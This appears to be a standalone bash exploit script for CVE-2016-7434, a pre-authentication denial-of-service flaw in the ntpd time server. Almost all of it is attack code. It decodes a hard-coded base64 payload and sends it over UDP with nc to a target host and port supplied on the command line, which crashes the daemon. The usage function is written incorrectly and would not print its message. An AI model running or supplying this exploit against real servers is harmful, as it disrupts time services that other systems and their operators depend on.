#!/bin/bash # CVE-2016-7434 ntpd remote pre-auth Denial of Service exploit # Author: opsxcq function usage(){ 'Usage exploit.sh ' } buffer="FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsYWRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" if [ -z "$1" ] then usage() exit -1 fi target=$1 if [ -z "$2" ] then usage() exit -1 fi port=$2 echo '[+] CVE-2016-7434 ntpd remote pre-auth Denial of Service exploit' echo '[+] Sending buffer to target '$target':'$port echo $buffer | base64 -d | nc -u -v $target $port